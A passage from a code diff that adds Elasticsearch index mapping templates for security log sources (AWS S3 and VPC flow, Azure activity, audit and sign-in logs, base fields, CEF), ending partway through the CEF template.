+ "type": "long" + }, + "key": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "object_size": { + "type": "long" + }, + "operation": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "referrer": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "remote_ip": { + "type": "ip" + }, + "request_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "request_uri": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "requester": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "signature_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tls_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "total_time": { + "type": "long" + }, + "turn_around_time": { + "type": "long" + }, + "user_agent": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "vpcflow": { + "properties": { + "account_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "instance_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "interface_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "log_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "pkt_dstaddr": { + "type": "ip" + }, + "pkt_srcaddr": { + "type": "ip" + }, + "subnet_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tcp_flags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tcp_flags_array": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vpc_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/azure.json b/salt/elasticsearch/templates/component/ecs/azure.json new file mode 100644 index 000000000..09259598b --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/azure.json @@ -0,0 +1,1328 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "azure": { + "properties": { + "activitylogs": { + "properties": { + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identity": { + "properties": { + "authorization": { + "properties": { + "action": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "evidence": { + "properties": { + "principal_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "principal_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "role": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "role_assignment_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "role_assignment_scope": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "role_definition_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "scope": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "claims": { + "properties": { + "*": { + "type": "object" + } + } + }, + "claims_initiated_by_user": { + "properties": { + "fullname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "givenname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "schema": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "surname": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "operation_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "properties": { + "type": "flattened" + }, + "result_signature": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "auditlogs": { + "properties": { + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "properties": { + "properties": { + "activity_datetime": { + "type": "date" + }, + "activity_display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "correlation_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "initiated_by": { + "properties": { + "app": { + "properties": { + "appId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "displayName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "servicePrincipalId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "servicePrincipalName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "user": { + "properties": { + "displayName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ipAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "userPrincipalName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "logged_by_service": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result_reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "target_resources": { + "properties": { + "*": { + "properties": { + "display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ip_address": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "modified_properties": { + "properties": { + "*": { + "properties": { + "display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "new_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "old_value": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + }, + "type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_principal_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } + }, + "result_signature": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tenant_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "consumer_group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "correlation_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "enqueued_time": { + "type": "date" + }, + "eventhub": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "offset": { + "type": "long" + }, + "partition_id": { + "type": "long" + }, + "platformlogs": { + "properties": { + "ActivityId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Caller": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Cloud": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "Environment": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "EventTimeString": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ScaleUnit": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "ccpNamespace": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "event_category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "properties": { + "type": "flattened" + }, + "result_signature": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "resource": { + "properties": { + "authorization_rule": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "group": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "namespace": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "provider": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "sequence_number": { + "type": "long" + }, + "signinlogs": { + "properties": { + "category": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "identity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operation_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "properties": { + "properties": { + "app_display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "app_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authentication_processing_details": { + "type": "flattened" + }, + "authentication_requirement": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "authentication_requirement_policies": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "autonomous_system_number": { + "type": "long" + }, + "client_app_used": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "conditional_access_status": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "correlation_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "created_at": { + "type": "date" + }, + "cross_tenant_access_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "device_detail": { + "properties": { + "browser": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "device_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "operating_system": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "trust_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "flagged_for_review": { + "type": "boolean" + }, + "home_tenant_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "is_interactive": { + "type": "boolean" + }, + "is_tenant_restricted": { + "type": "boolean" + }, + "original_request_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "processing_time_ms": { + "type": "float" + }, + "resource_display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resource_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "resource_tenant_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_detail": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_event_types": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_event_types_v2": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_level_aggregated": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_level_during_signin": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "risk_state": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "service_principal_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "service_principal_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "sso_extension_version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "status": { + "properties": { + "error_code": { + "type": "long" + } + } + }, + "token_issuer_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "token_issuer_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_display_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_principal_name": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "user_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "result_description": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result_signature": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "result_type": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tenant_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "subscription_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "tenant_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/base.json b/salt/elasticsearch/templates/component/ecs/base.json new file mode 100644 index 000000000..a56e6090a --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/base.json @@ -0,0 +1,71 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "@timestamp": { + "type": "date" + }, + "labels": { + "type": "object" + }, + "message": { + "type": "match_only_text" + }, + "tags": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + } + } +} diff --git a/salt/elasticsearch/templates/component/ecs/cef.json b/salt/elasticsearch/templates/component/ecs/cef.json new file mode 100644 index 000000000..5481ecb41 --- /dev/null +++ b/salt/elasticsearch/templates/component/ecs/cef.json @@ -0,0 +1,1700 @@ +{ + "_meta": { + "documentation": "https://www.elastic.co/guide/en/ecs/current/ecs-base.html", + "ecs_version": "1.12.2" + }, + "template": { + "settings": { + "analysis": { + "analyzer": { + "es_security_analyzer": { + "type": "custom", + "char_filter": [ + "whitespace_no_way" + ], + "filter": [ + "lowercase", + "trim" + ], + "tokenizer": "keyword" + } + }, + "char_filter": { + "whitespace_no_way": { + "type": "pattern_replace", + "pattern": "(\\s)+", + "replacement": "$1" + } + }, + "filter": { + "path_hierarchy_pattern_filter": { + "type": "pattern_capture", + "preserve_original": true, + "patterns": [ + "((?:[^\\\\]*\\\\)*)(.*)", + "((?:[^/]*/)*)(.*)" + ] + } + }, + "tokenizer": { + "path_tokenizer": { + "type": "path_hierarchy", + "delimiter": "\\" + } + } + } + }, + "mappings": { + "properties": { + "cef": { + "properties": { + "device": { + "properties": { + "event_class_id": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "product": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "vendor": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "version": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + } + } + }, + "extensions": { + "properties": { + "Reason": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentAddress": { + "type": "ip" + }, + "agentDnsDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentHostName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentId": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentMacAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentNtDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentReceiptTime": { + "type": "date" + }, + "agentTimeZone": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentTranslatedAddress": { + "type": "ip" + }, + "agentTranslatedZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentTranslatedZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentVersion": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentZoneExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "agentZoneURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "applicationProtocol": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "baseEventCount": { + "type": "long" + }, + "bytesIn": { + "type": "long" + }, + "bytesOut": { + "type": "long" + }, + "categoryBehavior": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categoryDeviceGroup": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categoryDeviceType": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categoryObject": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categoryOutcome": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categorySignificance": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "categoryTechnique": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cp_app_risk": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "cp_severity": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "customerExternalID": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "customerURI": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationAddress": { + "type": "ip" + }, + "destinationDnsDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationGeoLatitude": { + "type": "double" + }, + "destinationGeoLongitude": { + "type": "double" + }, + "destinationHostName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationMacAddress": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationNtDomain": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationPort": { + "type": "long" + }, + "destinationProcessId": { + "type": "long" + }, + "destinationProcessName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + "analyzer": "es_security_analyzer" + } + } + }, + "destinationServiceName": { + "ignore_above": 1024, + "type": "keyword", + "fields": { + "security": { + "type": "text", + 